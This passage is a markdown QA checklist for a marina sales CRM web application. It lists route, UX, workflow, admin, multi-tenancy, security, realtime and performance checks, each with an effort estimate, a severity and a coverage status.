|
||||
|
||||
## 2. Routes — every page reachable and correct
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | ----------------------------------------------------------------------------------------------------------- | ------ | -------- | ------------------- |
|
||||
| R-001 | All `/[portSlug]/*` routes return 200 for super-admin (sweep) | S | 🟠 | ⚠️ admin only |
|
||||
| R-002 | All `/[portSlug]/*` routes return 200 or proper 403/redirect for sales-agent | S | 🟠 | ⚠️ partial |
|
||||
| R-003 | All `/[portSlug]/*` routes for viewer | S | 🟡 | ❓ |
|
||||
| R-004 | Cross-port URL access: paste `/port-amador/clients/<port-nimara-uuid>` → expects 404, not silent | XS | 🟠 | ✅ (F17) |
|
||||
| R-005 | Archived entity detail page: 404 with "Restored?" affordance | XS | 🟡 | ❓ |
|
||||
| R-006 | Soft-deleted folder URL: expects 404 / fallback to parent | XS | 🟡 | ❓ |
|
||||
| R-007 | Hard-deleted berth UUID URL (e.g. A1 in port-amador): expects 404 | XS | 🟡 | ❓ |
|
||||
| R-008 | URL-encoded mooring number (`A1` vs `A%201` vs `a1`): canonicalization | XS | 🟡 | ❓ |
|
||||
| R-009 | Trailing slash redirects | XS | 🟢 | ❓ |
|
||||
| R-010 | Query-string preservation across nav (filters, sort, page) | S | 🟡 | ❓ |
|
||||
| R-011 | Browser back/forward state on detail pages (does Tab selection persist?) | S | 🟡 | ❓ |
|
||||
| R-012 | Deep-link with `?folder=<id>` on documents (F25 verified for root, what about deep folder?) | XS | 🟢 | ⚠️ |
|
||||
| R-013 | Deep-link to specific interest tab (`?tab=documents`) | XS | 🟢 | ❓ |
|
||||
| R-014 | Deep-link with filter pre-applied (`/interests?stage=eoi`) | XS | 🟡 | ❓ |
|
||||
| R-015 | typedRoutes enforcement: any string-as-route escapes via `as never` casts that point to non-existent paths? | M | 🟡 | ❓ |
|
||||
| R-016 | Middleware / proxy.ts: public-path allow-list correctness (regex anchors, prefix matches) | S | 🟠 | ❓ |
|
||||
| R-017 | Auth redirect: visiting `/dashboard` while logged-out → `/login?next=...` | XS | 🟠 | ❓ |
|
||||
| R-018 | Post-login redirect honours `next` param | XS | 🟠 | ❓ |
|
||||
| R-019 | Portal routes when `client_portal_enabled=false`: gate page (verified A19_b) | XS | 🟢 | ✅ |
|
||||
| R-020 | Portal routes when `client_portal_enabled=true`: dashboard, docs, activate flows | S | 🟠 | ❓ |
|
||||
| R-021 | `/setup` bootstrap flow on fresh DB (no super admin yet) | M | 🔴 | ❓ (F1 fixed proxy) |
|
||||
| R-022 | Reset-password token validity + expiry | S | 🟠 | ❓ |
|
||||
| R-023 | Set-password (first-time after invite) flow | S | 🟠 | ❓ |
|
||||
| R-024 | Portal activate via `#token` fragment | S | 🟠 | ❓ |
|
||||
| R-025 | API routes that should be HEAD-cacheable (public/berths) return correct cache headers | S | 🟢 | ❓ |
|
||||
| R-026 | Public health: anonymous mode minimal payload | XS | 🟡 | ❓ |
|
||||
| R-027 | Public health: secret mode full payload | XS | 🟡 | ❓ |
|
||||
| R-028 | OPTIONS preflight on API routes (CORS) | XS | 🟡 | ❓ |
|
||||
| R-029 | API rate-limit headers on auth endpoints | XS | 🟡 | ❓ |
|
||||
| R-030 | `/api/v1/me` returns expected user shape | XS | 🟢 | ✅ |
|
||||
|
||||
---
|
||||
|
||||
## 3. UX consistency — every list, detail, form
|
||||
|
||||
### 3a. Empty / loading / error states
|
||||
|
||||
| ID | Surface | Effort | Severity | Coverage |
|
||||
| ----- | ------------------------------------------------------------------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| U-001 | Clients list: empty state copy + CTA | XS | 🟢 | ❓ |
|
||||
| U-002 | Yachts list: empty state | XS | 🟢 | ❓ |
|
||||
| U-003 | Companies list: empty state | XS | 🟢 | ❓ |
|
||||
| U-004 | Interests list: empty state | XS | 🟢 | ❓ |
|
||||
| U-005 | Berths list: empty state | XS | 🟢 | ❓ |
|
||||
| U-006 | Reservations list: empty state | XS | 🟢 | ❓ |
|
||||
| U-007 | Invoices list: empty state | XS | 🟢 | ❓ |
|
||||
| U-008 | Inbox: empty state | XS | 🟢 | ❓ |
|
||||
| U-009 | Documents hub root: empty state | XS | 🟢 | ❓ |
|
||||
| U-010 | Documents hub folder: empty state (verified earlier) | XS | 🟢 | ✅ |
|
||||
| U-011 | Audit log: empty state (filter to nothing) | XS | 🟢 | ❓ |
|
||||
| U-012 | Reconcile berths: empty state (verified) | XS | 🟢 | ✅ |
|
||||
| U-013 | Recommender: empty result copy (verified F28) | XS | 🟢 | ✅ |
|
||||
| U-014 | All list pages: loading skeleton vs spinner — is the pattern consistent? | S | 🟢 | ❓ |
|
||||
| U-015 | All detail pages: 404 fallback (DetailNotFound) — confirmed for 5 entities, check residential/reservation/invoice/expense | S | 🟡 | ⚠️ |
|
||||
| U-016 | All forms: server-error toast surfaces requestId | S | 🟡 | ❓ |
|
||||
| U-017 | All forms: validation summary at top vs inline messages | S | 🟡 | ❓ |
|
||||
| U-018 | All forms: submit-while-pending state (button disabled + spinner) | S | 🟢 | ❓ |
|
||||
| U-019 | Drag-drop file zone: hover state visible | XS | 🟢 | ❓ |
|
||||
| U-020 | Drag-drop file zone: drop-target overlay on entity folder | XS | 🟢 | ❓ |
|
||||
|
||||
### 3b. Form design
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | --------------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| U-021 | Required-field markers consistent ("\*" vs label suffix vs help text) | S | 🟢 | ❓ |
|
||||
| U-022 | Field-help-text discoverability (tooltip vs always-visible) | S | 🟢 | ❓ |
|
||||
| U-023 | Field-level errors: every field has visible error after blur+submit | M | 🟡 | ❓ |
|
||||
| U-024 | Cancel behaviour: discards or saves draft? | S | 🟡 | ❓ |
|
||||
| U-025 | Unsaved changes warning on dialog dismiss | S | 🟡 | ❓ |
|
||||
| U-026 | Multi-step wizards: persist state across step nav | M | 🟡 | ❓ |
|
||||
| U-027 | Phone E.164 conversion preview | S | 🟢 | ❓ |
|
||||
| U-028 | Currency input: locale-aware separators | S | 🟡 | ❓ |
|
||||
| U-029 | Date picker: keyboard input + calendar both work | S | 🟢 | ❓ |
|
||||
| U-030 | Date range constraint enforcement (start ≤ end) | XS | 🟡 | ❓ |
|
||||
| U-031 | File-type accept attribute matches server magic-byte check | XS | 🟡 | ❓ |
|
||||
| U-032 | File-size limit copy matches server limit | XS | 🟢 | ❓ |
|
||||
| U-033 | Combobox keyboard nav (↑↓, Enter, Esc, type-ahead) | S | 🟢 | ❓ |
|
||||
| U-034 | Multi-select chip removal (X button + backspace) | S | 🟢 | ❓ |
|
||||
| U-035 | Tag colour-picker: contrast check | XS | 🟢 | ❓ |
|
||||
| U-036 | "Save changes" copy consistency (vs "Update" vs "Save") | S | 🟢 | ❓ |
|
||||
| U-037 | Inline-edit save trigger (blur vs Enter vs explicit save) | S | 🟢 | ❓ |
|
||||
| U-038 | Inline-edit cancel (Esc reverts) | XS | 🟢 | ❓ |
|
||||
| U-039 | Inline-tag-editor: tab order across the chip strip | XS | 🟢 | ❓ |
|
||||
|
||||
### 3c. Tables / lists / filters
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | ------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| U-040 | Sort direction indicator on column header | XS | 🟢 | ❓ |
|
||||
| U-041 | Multi-column sort (shift-click) | S | 🟢 | ❓ |
|
||||
| U-042 | Filter chips dismissable via X | XS | 🟢 | ❓ |
|
||||
| U-043 | "Clear all filters" button presence | XS | 🟢 | ❓ |
|
||||
| U-044 | Pagination: page size selector | XS | 🟢 | ❓ |
|
||||
| U-045 | Pagination: jump-to-page | XS | 🟢 | ❓ |
|
||||
| U-046 | Pagination: total count accuracy with filters | XS | 🟡 | ❓ |
|
||||
| U-047 | Row selection: select-all-page vs select-all-filtered | S | 🟡 | ❓ |
|
||||
| U-048 | Bulk action toolbar appearance + dismiss | S | 🟢 | ❓ |
|
||||
| U-049 | Sticky header on scroll | XS | 🟢 | ❓ |
|
||||
| U-050 | Column resize / reorder / show-hide persistence | S | 🟢 | ❓ |
|
||||
| U-051 | Virtual list performance with 1000+ rows | M | 🟡 | ❓ |
|
||||
| U-052 | CSV export of current view (respects filters + columns) | S | 🟡 | ❓ |
|
||||
| U-053 | Sorted-by-relevance vs sorted-by-date default | XS | 🟢 | ❓ |
|
||||
|
||||
### 3d. Badges, icons, colours
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | ----------------------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| U-054 | Stage badge palette: 7 stages each have a distinct, consistent colour | XS | 🟢 | ❓ |
|
||||
| U-055 | Outcome badge: won = green, lost\_\* = red shades, distinct enough | XS | 🟢 | ❓ |
|
||||
| U-056 | Berth status pill: available/under_offer/sold colour consistency | XS | 🟢 | ✅ |
|
||||
| U-057 | Document status pill: draft/sent/partial/completed/expired/cancelled/rejected | XS | 🟢 | ❓ |
|
||||
| U-058 | "Manual" chip on berth list (F67 phase 2) | XS | 🟢 | ✅ |
|
||||
| U-059 | Icon usage: Lucide-only — no decorative unicode glyphs (memory: avoid emoji) | S | 🟡 | ⚠️ |
|
||||
| U-060 | Button hierarchy: primary/secondary/ghost/destructive used consistently | S | 🟢 | ❓ |
|
||||
| U-061 | Destructive actions colour-coded red | XS | 🟡 | ❓ |
|
||||
| U-062 | Loading spinner sizing consistent (size-3.5 vs size-4 vs animate-spin) | S | 🟢 | ❓ |
|
||||
| U-063 | Tooltip delay + position consistency | S | 🟢 | ❓ |
|
||||
| U-064 | Status pill withDot vs no dot: is the rule consistent? | XS | 🟢 | ❓ |
|
||||
|
||||
### 3e. Modal / sheet / drawer doctrine
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | ------------------------------------------------------------------------------ | ------ | -------- | -------- |
|
||||
| U-065 | Sheet used for forms + previews on desktop AND mobile (per CLAUDE.md doctrine) | S | 🟡 | ❓ |
|
||||
| U-066 | Vaul Drawer only used for mobile-bottom-sheet (only `MoreSheet` qualifies) | XS | 🟢 | ❓ |
|
||||
| U-067 | AlertDialog used for destructive confirmations | XS | 🟢 | ❓ |
|
||||
| U-068 | Dialog used for short interactive forms (new yacht, catch-up, won-dialog) | XS | 🟢 | ❓ |
|
||||
| U-069 | Esc closes all overlays consistently | XS | 🟢 | ❓ |
|
||||
| U-070 | Click-outside closes / doesn't close: rule consistent | S | 🟡 | ❓ |
|
||||
| U-071 | Focus trap inside overlays | S | 🟠 | ❓ |
|
||||
| U-072 | Focus restoration to trigger element on close | S | 🟡 | ❓ |
|
||||
|
||||
### 3f. Toasts / feedback
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | -------------------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| U-073 | Toast position consistent (top-right, sonner config) | XS | 🟢 | ✅ |
|
||||
| U-074 | Success toast on every mutation (create, update, archive, delete, restore) | M | 🟡 | ⚠️ |
|
||||
| U-075 | Error toast includes copyable requestId | S | 🟡 | ⚠️ |
|
||||
| U-076 | Toast timing (auto-dismiss vs persistent for errors) | XS | 🟢 | ❓ |
|
||||
| U-077 | Multiple toasts stack vs replace | XS | 🟢 | ❓ |
|
||||
|
||||
### 3g. Accessibility / keyboard
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | ---------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| U-078 | Tab order natural on each form | M | 🟡 | ❓ |
|
||||
| U-079 | All icons inside buttons have `aria-label` or sibling text | S | 🟡 | ❓ |
|
||||
| U-080 | All `<img>` have alt | XS | 🟡 | ❓ |
|
||||
| U-081 | Heading hierarchy (h1 → h2 → h3, no skips) | S | 🟢 | ❓ |
|
||||
| U-082 | Color contrast WCAG AA (4.5:1 body, 3:1 large) | M | 🟡 | ❓ |
|
||||
| U-083 | Focus rings visible on all interactive elements | S | 🟡 | ❓ |
|
||||
| U-084 | Skip-to-content link | XS | 🟢 | ❓ |
|
||||
| U-085 | Reduced-motion media query honoured | S | 🟢 | ❓ |
|
||||
| U-086 | `aria-describedby` set on DialogContent (A6) | S | 🟡 | ❌ |
|
||||
| U-087 | Live regions for async updates (toast, notification count) | S | 🟢 | ❓ |
|
||||
| U-088 | Form errors announced to screen readers | S | 🟡 | ❓ |
|
||||
| U-089 | Touch target min 44×44px on mobile | S | 🟡 | ❓ |
|
||||
|
||||
### 3h. Mobile-specific UX
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | ----------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| U-090 | Bottom-tab nav reachable on every page | XS | 🟢 | ✅ |
|
||||
| U-091 | Mobile topbar shows correct title via `useMobileChrome` | S | 🟢 | ⚠️ |
|
||||
| U-092 | More sheet contains every nav item not on bottom bar | XS | 🟡 | ❓ |
|
||||
| U-093 | Search overlay covers viewport on tap | XS | 🟢 | ❓ |
|
||||
| U-094 | iOS safe-area-inset-top / bottom respected | S | 🟡 | ❓ |
|
||||
| U-095 | Pull-to-refresh: present or absent? (consistency) | XS | 🟢 | ❓ |
|
||||
| U-096 | Camera capture on file upload (image\* mime type triggers camera) | S | 🟢 | ❓ |
|
||||
| U-097 | Soft keyboard occlusion on form input (visualViewport handling) | S | 🟡 | ❓ |
|
||||
| U-098 | Long-press menu absence (not native iOS overrides) | XS | 🟢 | ❓ |
|
||||
| U-099 | Sheet side="right" responsiveness | XS | 🟢 | ❓ |
|
||||
| U-100 | Mobile bottom tab active-state highlight | XS | 🟢 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 4. Sales workflows — every end-to-end path
|
||||
|
||||
### 4a. Happy paths
|
||||
|
||||
| ID | Flow | Effort | Severity | Coverage |
|
||||
| ----- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| W-001 | Create client → create interest → link yacht → advance to EOI → send EOI → receive webhook → auto-advance to Reservation → record deposit → auto-advance to Deposit Paid → send contract → mark contract signed → mark won | L | 🔴 | ⚠️ |
|
||||
| W-002 | Multi-berth interest: link 3 berths, mark one primary, send EOI bundle with range formatter | M | 🟠 | ❓ |
|
||||
| W-003 | Company-owned yacht: company → membership → yacht owned by company → interest | M | 🟠 | ❓ |
|
||||
| W-004 | Residential client + residential interest end-to-end | M | 🟡 | ❓ |
|
||||
| W-005 | Public berth inquiry → admin/inquiries triage → create client via prefill | M | 🟠 | ❓ |
|
||||
| W-006 | Catch-up wizard from berth list row-menu | S | 🟠 | ⚠️ |
|
||||
| W-007 | Catch-up wizard from reconcile queue (verified) | S | 🟢 | ✅ |
|
||||
| W-008 | Mark won → reopen → outcome cleared toast (F26) | XS | 🟢 | ⚠️ |
|
||||
| W-009 | Mark lost (each lost reason) | S | 🟢 | ❓ |
|
||||
| W-010 | Mark externally signed | S | 🟡 | ❓ |
|
||||
|
||||
### 4b. Edge cases
|
||||
|
||||
| ID | Flow | Effort | Severity | Coverage |
|
||||
| ----- | ---------------------------------------------------------------------- | ------ | -------- | --------- |
|
||||
| W-011 | Try to leave Enquiry without yacht → F23 inline prereq picker fires | XS | 🟢 | ✅ |
|
||||
| W-012 | Try forbidden transition (e.g. Reservation → Enquiry) without override | XS | 🟡 | ❓ |
|
||||
| W-013 | Override transition: requires reason ≥ 5 chars | XS | 🟡 | ❓ |
|
||||
| W-014 | Override transition: insufficient permission → blocked tooltip | XS | 🟡 | ❓ |
|
||||
| W-015 | Rewind to enquiry with linked berths → unlink-or-keep prompt | S | 🟡 | ❓ |
|
||||
| W-016 | Same-stage write (F27): expects 204 | XS | 🟢 | ❌ (A19) |
|
||||
| W-017 | Concurrent stage edits (two browser tabs) | M | 🟡 | ❓ |
|
||||
| W-018 | Stage transition emits audit log + realtime event | S | 🟡 | ❓ |
|
||||
| W-019 | Auto-advance via berth-rule on `deposit_received` | S | 🟠 | ❓ |
|
||||
| W-020 | Auto-advance via Documenso webhook (`DOCUMENT_SIGNED`) | S | 🟠 | ❓ |
|
||||
| W-021 | Webhook arrives twice (idempotency) | S | 🟠 | ✅ (R2-G) |
|
||||
| W-022 | Webhook with v2 envelope shape | S | 🟠 | ❓ |
|
||||
| W-023 | Webhook lowercase-dotted event name → forward-compat | XS | 🟢 | ❓ |
|
||||
| W-024 | Webhook with wrong secret → 401 + rate limit | S | 🟠 | ❓ |
|
||||
| W-025 | Berth unlink mid-EOI → rule fires? | S | 🟡 | ❓ |
|
||||
| W-026 | Yacht reassignment mid-deal | S | 🟡 | ❓ |
|
||||
| W-027 | Client merge (duplicate dedup) — interest carry-over | M | 🟠 | ❓ |
|
||||
| W-028 | Recommender on 0ft yacht (empty dims) | XS | 🟢 | ❓ |
|
||||
| W-029 | Recommender on 300ft yacht (no matching berth) | XS | 🟢 | ✅ (F28) |
|
||||
| W-030 | Recommender weight tuning re-ranks | S | 🟡 | ❓ |
|
||||
| W-031 | Recommender fallthrough policy (cooldown after lost) | M | 🟡 | ❓ |
|
||||
| W-032 | Recommender tier ladder A/B/C/D classification | M | 🟠 | ❓ |
|
||||
| W-033 | Heat scoring weights (recency, furthest stage, count, EOI count) | M | 🟡 | ❓ |
|
||||
| W-034 | Reservation cancel mid-flow | S | 🟡 | ❓ |
|
||||
| W-035 | EOI document expiry | S | 🟡 | ❓ |
|
||||
| W-036 | Contract sent + bounced email | S | 🟡 | ❓ |
|
||||
| W-037 | Reminder snooze / dismiss | S | 🟢 | ❓ |
|
||||
| W-038 | Reminder digest delivery | M | 🟢 | ❓ |
|
||||
| W-039 | Default-owner auto-assign on new interest | XS | 🟢 | ❓ |
|
||||
| W-040 | Reassignment notification email | S | 🟢 | ❓ |
|
||||
| W-041 | Cascading invites (secondary signers) | M | 🟠 | ❓ |
|
||||
| W-042 | Field-level signing verification | M | 🟡 | ❓ |
|
||||
| W-043 | Voice-note attach on activity | S | 🟢 | ❓ |
|
||||
| W-044 | Quick-template log entry | S | 🟢 | ❓ |
|
||||
| W-045 | Note add / edit / delete (polymorphic across entities) | S | 🟢 | ❓ |
|
||||
| W-046 | Tag add via inline-tag-editor (verified F16 inline create flow) | XS | 🟢 | ⚠️ |
|
||||
| W-047 | Tag delete cascade (remove tag from all entities) | S | 🟡 | ❓ |
|
||||
| W-048 | Bulk archive (clients) | S | 🟡 | ❓ |
|
||||
| W-049 | Bulk archive (interests) | S | 🟡 | ❓ |
|
||||
| W-050 | Restore archived (any entity) | S | 🟡 | ❓ |
|
||||
| W-051 | Hard-delete request (GDPR Article 17) | M | 🟠 | ❓ |
|
||||
| W-052 | GDPR export download | M | 🟠 | ✅ (R2-O) |
|
||||
|
||||
---
|
||||
|
||||
## 5. Admin workflows
|
||||
|
||||
| ID | Flow | Effort | Severity | Coverage |
|
||||
| ------ | ---------------------------------------------------------------------------- | ------ | -------- | --------------- |
|
||||
| AD-001 | Role create + permission edit | S | 🟠 | ❓ |
|
||||
| AD-002 | Per-port role override | S | 🟠 | ❓ |
|
||||
| AD-003 | User invite send + email delivered | M | 🟠 | ❓ |
|
||||
| AD-004 | Invite accept + activate (token in #fragment) | S | 🟠 | ❓ |
|
||||
| AD-005 | Invitation revoke / resend | XS | 🟡 | ❓ |
|
||||
| AD-006 | User edit (display name, residential access toggle) | XS | 🟢 | ❓ |
|
||||
| AD-007 | User deactivate | S | 🟠 | ❓ |
|
||||
| AD-008 | System settings key update | XS | 🟡 | ❓ |
|
||||
| AD-009 | Branding logo upload + render in email templates | S | 🟢 | ❓ |
|
||||
| AD-010 | Branding primary colour propagation | S | 🟢 | ❓ |
|
||||
| AD-011 | Document template create with merge tokens | S | 🟠 | ❓ |
|
||||
| AD-012 | Template merge field validation (unknown token rejected) | XS | 🟢 | ❓ |
|
||||
| AD-013 | Email template subject preview / override | S | 🟢 | ❓ |
|
||||
| AD-014 | Tag create + colour pick + delete | XS | 🟢 | ✅ |
|
||||
| AD-015 | Vocabulary list edit (interest temperatures, etc) | S | 🟢 | ❓ |
|
||||
| AD-016 | Custom field add (text, number, select, date) | S | 🟡 | ❓ |
|
||||
| AD-017 | Custom field retrofit on existing rows | S | 🟡 | ❓ |
|
||||
| AD-018 | Webhook create + secret rotate | S | 🟠 | ❓ |
|
||||
| AD-019 | Webhook delivery log + retry | S | 🟡 | ❓ |
|
||||
| AD-020 | Brochure upload + magic-byte check | S | 🟡 | ❓ |
|
||||
| AD-021 | Brochure default toggle (partial unique index) | S | 🟡 | ❓ |
|
||||
| AD-022 | Brochure archive | XS | 🟢 | ❓ |
|
||||
| AD-023 | Per-berth PDF upload + parse | M | 🟠 | ❓ |
|
||||
| AD-024 | Per-berth PDF version rollback | S | 🟡 | ❓ |
|
||||
| AD-025 | OCR parse confidence threshold + AI parse fallback | M | 🟡 | ❓ |
|
||||
| AD-026 | NocoDB import: --apply, --force, --update-snapshot | M | 🟠 | ❓ |
|
||||
| AD-027 | NocoDB import idempotency (re-run after no changes) | S | 🟡 | ❓ |
|
||||
| AD-028 | NocoDB import vs human-edited row skip (updated_at > last_imported_at) | S | 🟡 | ❓ |
|
||||
| AD-029 | Bulk berth add wizard end-to-end | S | 🟠 | ⚠️ (loads only) |
|
||||
| AD-030 | CSV import (clients) — column mapper | M | 🟠 | ❓ |
|
||||
| AD-031 | CSV import (yachts) | M | 🟡 | ❓ |
|
||||
| AD-032 | CSV import error report (rejected rows) | S | 🟡 | ❓ |
|
||||
| AD-033 | Duplicates queue review + merge | M | 🟠 | ❓ |
|
||||
| AD-034 | Duplicates queue: false-positive dismiss | XS | 🟢 | ❓ |
|
||||
| AD-035 | Audit log search/FTS — text query | S | 🟡 | ❓ |
|
||||
| AD-036 | Audit log filter by action / entity / user / date range | S | 🟡 | ❓ |
|
||||
| AD-037 | Audit log diff display (old vs new) | S | 🟡 | ❓ |
|
||||
| AD-038 | Audit log mask of sensitive fields (passwords, tokens) | S | 🟠 | ❓ |
|
||||
| AD-039 | Backup status read | XS | 🟢 | ❓ |
|
||||
| AD-040 | Storage backend swap dry-run (filesystem ↔ s3) | M | 🟠 | ❓ |
|
||||
| AD-041 | Multi-node deployment refuses filesystem backend | XS | 🟠 | ❓ |
|
||||
| AD-042 | Documenso health check Test button (v1 + v2) | S | 🟠 | ❓ |
|
||||
| AD-043 | Documenso API version toggle per-port | S | 🟠 | ❓ |
|
||||
| AD-044 | Documenso signing-order setting (parallel/sequential) | S | 🟡 | ❓ |
|
||||
| AD-045 | Documenso redirect URL setting | XS | 🟢 | ❓ |
|
||||
| AD-046 | AI provider credentials test | S | 🟡 | ❓ |
|
||||
| AD-047 | Receipt OCR config + retry on bad parse | M | 🟡 | ❓ |
|
||||
| AD-048 | Send-from account config + encrypted secret roundtrip | M | 🟠 | ❓ |
|
||||
| AD-049 | Bounce monitoring (IMAP probe + dev-imap-probe script) | M | 🟡 | ❓ |
|
||||
| AD-050 | Reminders default behaviour + digest window edit | S | 🟢 | ❓ |
|
||||
| AD-051 | Residential pipeline stages edit + reassignment on stage removal | M | 🟡 | ❓ |
|
||||
| AD-052 | Qualification criteria reorder (DnD) | S | 🟢 | ❓ |
|
||||
| AD-053 | Berth rules engine config (7 triggers, 3 modes) | M | 🟠 | ❓ |
|
||||
| AD-054 | Recommender weights tune | S | 🟡 | ❓ |
|
||||
| AD-055 | Onboarding checklist progression | S | 🟢 | ❓ |
|
||||
| AD-056 | Reports: pipeline funnel, occupancy timeline, revenue breakdown, lead source | S | 🟡 | ❓ |
|
||||
| AD-057 | Forms: form template create + public submission roundtrip | M | 🟠 | ❓ |
|
||||
| AD-058 | Inquiry inbox triage → convert to client | M | 🟠 | ❓ |
|
||||
| AD-059 | Website analytics (Umami) config | S | 🟢 | ❓ |
|
||||
| AD-060 | Queue monitoring dashboard (BullMQ stats) | XS | 🟢 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 6. Multi-tenancy (port isolation)
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | -------------------------------------------------------------------- | ------ | -------- | --------- |
|
||||
| MT-01 | GET /api/v1/clients/<other-port-uuid> with X-Port-Id=this-port → 404 | XS | 🟠 | ✅ (R2-N) |
|
||||
| MT-02 | PATCH /api/v1/interests/<other-port-uuid> → 404 | XS | 🟠 | ❓ |
|
||||
| MT-03 | Berth recommender cross-port leak guard (entry + SQL CTE) | S | 🔴 | ✅ |
|
||||
| MT-04 | Document folder defense-in-depth port_id filter on every join | S | 🟠 | ❓ |
|
||||
| MT-05 | Audit log scope per port | XS | 🟠 | ❓ |
|
||||
| MT-06 | Webhook subscriptions scoped to port | XS | 🟠 | ❓ |
|
||||
| MT-07 | System settings per-port | XS | 🟡 | ❓ |
|
||||
| MT-08 | Tags scoped to port | XS | 🟡 | ❓ |
|
||||
| MT-09 | Custom fields scoped to port | XS | 🟡 | ❓ |
|
||||
| MT-10 | Vocabularies scoped to port | XS | 🟡 | ❓ |
|
||||
| MT-11 | Seed runs idempotent across ports | S | 🟡 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 7. Security
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ---- | ---------------------------------------------------------- | ------ | -------- | --------- |
|
||||
| S-01 | XSS via client.fullName render (verified ✓) | XS | 🟠 | ✅ |
|
||||
| S-02 | XSS via tag.name | XS | 🟠 | ❓ |
|
||||
| S-03 | XSS via note.content (markdown) | S | 🟠 | ❓ |
|
||||
| S-04 | XSS via email body markdown (verified) | S | 🟠 | ✅ (R2-I) |
|
||||
| S-05 | SQL injection via search query | S | 🔴 | ❓ |
|
||||
| S-06 | Path traversal in folder name | S | 🟠 | ❓ |
|
||||
| S-07 | Path traversal in file name | XS | 🟠 | ❓ |
|
||||
| S-08 | SSRF via attachment URL or webhook target | S | 🟠 | ❓ |
|
||||
| S-09 | Open redirect on `next` param | XS | 🟠 | ❓ |
|
||||
| S-10 | CSRF on state-changing requests (proxy.ts checks) | S | 🟠 | ❓ |
|
||||
| S-11 | Cookie flags: HttpOnly, Secure, SameSite | XS | 🟠 | ❓ |
|
||||
| S-12 | CSP headers (production) | S | 🟡 | ❓ |
|
||||
| S-13 | CORS allow-list narrow | XS | 🟡 | ❓ |
|
||||
| S-14 | Rate limit on login (verified F7) | XS | 🟠 | ✅ |
|
||||
| S-15 | Rate limit on forget-password | XS | 🟠 | ✅ |
|
||||
| S-16 | Rate limit on file upload | S | 🟡 | ❓ |
|
||||
| S-17 | Session fixation (regen sid on login) | S | 🟠 | ❓ |
|
||||
| S-18 | Token expiry / refresh (better-auth) | S | 🟠 | ❓ |
|
||||
| S-19 | Audit log tamper-resistance (append-only) | S | 🟡 | ❓ |
|
||||
| S-20 | Documenso webhook secret rotation (verified) | S | 🟠 | ✅ |
|
||||
| S-21 | SMTP credential at-rest encryption (AES-256-GCM) | S | 🟠 | ❓ |
|
||||
| S-22 | IMAP credential at-rest encryption | S | 🟠 | ❓ |
|
||||
| S-23 | Storage credential at-rest encryption | S | 🟠 | ❓ |
|
||||
| S-24 | Privilege escalation: viewer → agent → admin paths | M | 🔴 | ❓ |
|
||||
| S-25 | Direct ID enumeration (UUID guess immune) | XS | 🟢 | ✅ (R2) |
|
||||
| S-26 | Audit log read-back of own permission denials | S | 🟢 | ❓ |
|
||||
| S-27 | Magic-byte verification on every uploaded file (verified) | S | 🟠 | ✅ |
|
||||
| S-28 | Filename HTML-escape in download links | XS | 🟡 | ❓ |
|
||||
| S-29 | Bounce-monitor email subject parsing (injection) | S | 🟡 | ❓ |
|
||||
| S-30 | Email body redirect mode never escapes in prod (env guard) | XS | 🟠 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 8. Realtime / sockets
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | -------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| RT-01 | Socket.IO server actually running in dev (A5) | S | 🟡 | ❌ |
|
||||
| RT-02 | Realtime invalidation: interest:updated fires from another tab | S | 🟡 | ❓ |
|
||||
| RT-03 | document:completed event invalidates files | S | 🟡 | ❓ |
|
||||
| RT-04 | folder:created event invalidates document-folders | S | 🟡 | ❓ |
|
||||
| RT-05 | berth:statusChanged event invalidates berths | S | 🟡 | ❓ |
|
||||
| RT-06 | Subscription teardown on unmount (no leaks) | S | 🟡 | ❓ |
|
||||
| RT-07 | Cross-tab broadcast (BroadcastChannel?) | M | 🟢 | ❓ |
|
||||
| RT-08 | Reconnect after server restart | S | 🟡 | ❓ |
|
||||
| RT-09 | Room-level scoping (port:X room) | XS | 🟠 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 9. Performance
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ---- | ------------------------------------------------------------------------ | ------ | -------- | --------------------------- |
|
||||
| P-01 | Web vitals report endpoint accepts beacons (verified — A2 is dev cancel) | XS | 🟢 | ✅ |
|
||||
| P-02 | LCP under 2.5s on dashboard | S | 🟡 | ❓ |
|
||||
| P-03 | CLS under 0.1 | S | 🟢 | ❓ |
|
||||
| P-04 | TTI under 3s | S | 🟡 | ❓ |
|
||||
| P-05 | N+1 detection on interests list (tags / berths / yacht joins) | M | 🟡 | ❓ |
|
||||
| P-06 | DataTable virtual rendering for 1000+ rows | M | 🟡 | ⚠️ (audit-log uses virtual) |
|
||||
| P-07 | Image lazy-load on documents list | XS | 🟢 | ❓ |
|
||||
| P-08 | Bundle size growth budget | S | 🟢 | ❓ |
|
||||
| P-09 | Slow-query log review | M | 🟡 | ❓ |
|
||||
| P-10 | DB connection pool exhaustion behaviour (verified F8 fix landed) | S | 🟠 | ✅ |
|
||||
| P-11 | Memory leak after long session (open same form 50 times) | M | 🟡 | ❓ |
|
||||
